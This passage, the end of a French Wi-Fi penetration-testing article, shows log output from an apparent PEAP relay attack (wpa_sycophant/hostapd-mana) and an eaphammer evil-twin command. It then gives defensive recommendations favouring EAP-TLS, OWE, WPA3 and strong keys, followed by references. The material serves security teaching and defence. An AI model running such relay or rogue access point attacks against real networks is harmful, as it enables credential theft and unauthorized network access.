SYCOPHANT : CHALLANGE DATA GIVEN TO MANA
SYCOPHANT : INFORMING MANA TO SERVE CHALLENGE
SYCOPHANT : RESPONSE SET BY PEER - hexdump(len=86): 02 e3 00 56 1a 02 e3 00 51 31 26 c3 f4 55 c4 58 c4 9c 41 4b a5 9b 9e ca f6 f1 00 00 00 00 00 00 00 00 da 84 c3 24 da 8d ed fd 88 63 d6 49 de f1 a2 74 b6 7e e7 04 7c d9 d8 79 00 31 d6 cf e0 d1 6a e9 31 b7 3c 59 d7 e0 c0 89 c0 be 6b c6 4c 94 bb c0 62 bc eb fb
SYCOPHANT : ORIG CONTENTS - hexdump(len=86): 02 e3 00 56 1a 02 e3 00 51 31 26 c3 f4 55 c4 58 c4 9c 41 4b a5 9b 9e ca f6 f1 00 00 00 00 00 00 00 00 da 84 c3 24 da 8d ed fd 88 63 d6 49 de f1 a2 74 b6 7e e7 04 7c d9 d8 79 00 31 d6 cf e0 d1 6a e9 31 b7 3c 59 d7 e0 c0 89 c0 be 6b c6 4c 94 bb c0 62 bc eb fb
SYCOPHANT : MANA CONTENTS - hexdump(len=86): 02 28 00 56 1a 02 28 00 51 31 55 34 6c 3a e1 d5 7e f7 b5 67 73 9c 35 93 40 2c 00 00 00 00 00 00 00 00 ba 7a 73 96 b2 22 46 e8 5c d3 51 32 88 0c 5f 26 aa 42 4a 13 ae a9 98 82 00 61 6c 62 75 73 2e 70 65 72 63 65 76 61 6c 40 6d 69 6e 69 73 74 72 79 2e 73 65 63
SYCOPHANT : ORIG CONTENTS - hexdump(len=86): 02 e3 00 56 1a 02 e3 00 51 31 55 34 6c 3a e1 d5 7e f7 b5 67 73 9c 35 93 40 2c 00 00 00 00 00 00 00 00 ba 7a 73 96 b2 22 46 e8 5c d3 51 32 88 0c 5f 26 aa 42 4a 13 ae a9 98 82 00 61 6c 62 75 73 2e 70 65 72 63 65 76 61 6c 40 6d 69 6e 69 73 74 72 79 2e 73 65 63
SYCOPHANT : MANA CONTENTS - hexdump(len=86): 02 28 00 56 1a 02 28 00 51 31 55 34 6c 3a e1 d5 7e f7 b5 67 73 9c 35 93 40 2c 00 00 00 00 00 00 00 00 ba 7a 73 96 b2 22 46 e8 5c d3 51 32 88 0c 5f 26 aa 42 4a 13 ae a9 98 82 00 61 6c 62 75 73 2e 70 65 72 63 65 76 61 6c 40 6d 69 6e 69 73 74 72 79 2e 73 65 63
EAP-MSCHAPV2: Received success
Response not verified, does not seem important
EAP-MSCHAPV2: Authentication succeeded
wlan3: CTRL-EVENT-EAP-SUCCESS EAP authentication completed successfully
wlan3: PMKSA-CACHE-ADDED 02:00:00:00:10:00 0
wlan3: WPA: Key negotiation completed with 02:00:00:00:10:00 [PTK=CCMP GTK=CCMP]
wlan3: CTRL-EVENT-CONNECTED - Connection to 02:00:00:00:10:00 completed [id=0 id_str=]

Ce cas d'utilisation spécifique montre que même les dernières normes peuvent encore souffrir de mauvaises configurations. Cependant, pour être honnête, il s'agit d'un cas d'utilisation très spécifique, et en pratique, il serait très difficile à exploiter en raison de la protection contre la désauthentification et des problèmes potentiels de signal Wi-Fi.

e. Recommandation

Le moyen le plus efficace de prévenir ces vols d'identifiants et ces attaques par relais est d'utiliser EAP-TLS exclusivement. Cela nécessite de déployer un certificat client sur chaque appareil qui doit se connecter au réseau. Bien que cela implique la mise en place d'une Infrastructure à Clés Publiques (PKI), dans les entreprises qui utilisent déjà WPA2 EAP, une PKI est souvent déjà configurée. Avec EAP-TLS, le certificat lui-même est l'identifiant. Un attaquant exécutant un Evil-Twin peut toujours présenter un faux certificat, mais le client légitime ne pourra pas se connecter, car il vérifiera correctement le certificat. À moins que l'attaquant ne puisse voler la clé privée d'un certificat client, il ne pourra pas obtenir l'accès au réseau.

Par exemple, lorsque les clients sont correctement configurés, les logs suivants peuvent être observés :

$ eaphammer --creds --interface wlan1 --essid MinistryOfMagic --bssid f2:ab:b8:12:34:56 --auth wpa-eap --channel 1
[...]
wlan1: CTRL-EVENT-EAP-STARTED 12:32:65:54:45:56
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=13
SSL: SSL3 alert: read (remote end reported an error):fatal:certificate unknown
OpenSSL: openssl_handshake - SSL_connect error:14094416:SSL routines:ssl3_read_bytes:sslv3 alert certificate unknown
wlan1: CTRL-EVENT-EAP-FAILURE 12:32:65:54:45:56

Il est possible de remarquer que le client a choisi la méthode EAP method=13 qui correspond à EAP-TLS^[13] et ensuite, en essayant de s'authentifier avec cette méthode, une alerte est levée, car notre EAPHammer utilise un certificat auto-signé, qui n'est donc pas validé côté client.

Conclusions

Nous avons résumé et illustré plusieurs situations que nous pouvons trouver lors de tests d'intrusion Wi-Fi. Maintenant que nous avons passé en revue le problème et la solution pour chacun, nous pouvons observer que la sécurité est généralement compromise par de simples mauvaises configurations, des faiblesses de mots de passe ou des protocoles obsolètes. Si vous cherchez une solution pour votre sécurité Wi-Fi, les recommandations pour chaque configuration sans fil sont les suivantes :

1. Réseaux Ouverts (Publics/Invités) :

Le nom en dit long : traitez ces réseaux comme complètement publics. Tout appareil s'y connectant doit le faire via un VPN de confiance s'il veut garantir sa sécurité et chiffrer son trafic du réseau local vers internet. Sinon, le chiffrement TLS utilisé pour la majeure partie d'internet suffira tant que les utilisateurs comprennent que l'Homme du Milieu est une possibilité inhérente au Wi-Fi Ouvert et qu'ils ne doivent jamais accepter un certificat non fiable lorsqu'ils naviguent sur un site web HTTPS. Pour le propriétaire du réseau, activer l'Isolation Client est une première étape essentielle pour empêcher les utilisateurs de se joindre les uns les autres. L'utilisation de la norme OWE peut également être appliquée pour éviter la capture passive.

2. Réseaux WEP :

Malheureusement, dans le cas d'un réseau WEP, il n'y a pas d'autre recommandation que la suppression. Les mécanismes cryptographiques du WEP sont vulnérables et celui-ci doit être considéré aussi peu sûr qu'un réseau ouvert. Si un appareil ne supporte que WEP, alors le réseau doit être durci en prenant en compte qu'un attaquant peut facilement s'y connecter.

3. Réseaux WPA2-PSK (Personnels/Clé Partagée) :

La sécurité d'un réseau PSK est définie par son mot de passe. Utilisez un mot de passe long et aléatoire et vous devriez être tranquille. Si tous vos appareils le supportent, passez à WPA3 Personnel, car sa méthode de handshake SAE protège contre la capture de handshake et le cassage hors ligne. Si le support n'est pas généralisé, vous pouvez toujours utiliser le mode de transition WPA2, les anciens appareils subiront toujours des captures de handshake, mais les nouveaux appareils bénéficieront des normes WPA3. Cependant, souvenez-vous toujours du risque organisationnel : une clé partagée est difficile à gérer. Lorsqu'un employé part, le seul moyen de révoquer son accès est de changer la clé pour tout le monde.

4. Réseaux WPA2-EAP (Entreprise) :

C'est la norme idéale pour les grandes entreprises, mais seulement si elle est configurée correctement. Tous les appareils clients doivent être configurés pour valider le certificat du serveur RADIUS afin de prévenir les attaques d'Evil Twin. Le moyen idéal d'éviter une mauvaise configuration est d'utiliser EAP-TLS. Bien que ce ne soit pas toujours faisable, l'utilisation d'une authentification basée sur certificat élimine entièrement les risques basés sur les mots de passe, rendant le vol d'identifiants et les attaques par relais inefficaces.

Références

1. https://en.wikipedia.org/wiki/IEEE_802.11w-2009
2. https://en.wikipedia.org/wiki/802.11_frame_types#Types_and_subtypes
3. https://github.com/lgandx/Responder/
4. https://en.wikipedia.org/wiki/Wired_Equivalent_Privacy
5. https://www.aircrack-ng.org/
6. https://en.wikipedia.org/wiki/Wi-Fi_Protected_Access#WPA-Personal
7. https://networklessons.com/wireless/wpa-and-wpa2-4-way-handshake
8. https://hashcat.net/forum/thread-7717.html
9. https://git.w1.fi/cgit/hostap/plain/wpa_supplicant/README
10. https://www.krackattacks.com/
11. https://en.wikipedia.org/wiki/Simultaneous_Authentication_of_Equals
12. https://github.com/s0lst1c3/eaphammer
13. https://www.bettercap.org/
14. https://www.iana.org/assignments/eap-numbers/eap-numbers.xhtml#eap-numbers-4
15. https://datatracker.ietf.org/doc/html/rfc2759#section-1
16. https://sensepost.com/blog/2019/peap-relay-attacks-with-wpa_sycophant/
17. https://www.youtube.com/watch?v=eYsGyvGxlpI&t=1052s
18. https://github.com/sensepost/wpa_sycophant
19. https://github.com/sensepost/hostapd-mana
20. https://w1.fi/hostapd/
21. https://w1.fi/wpa_supplicant/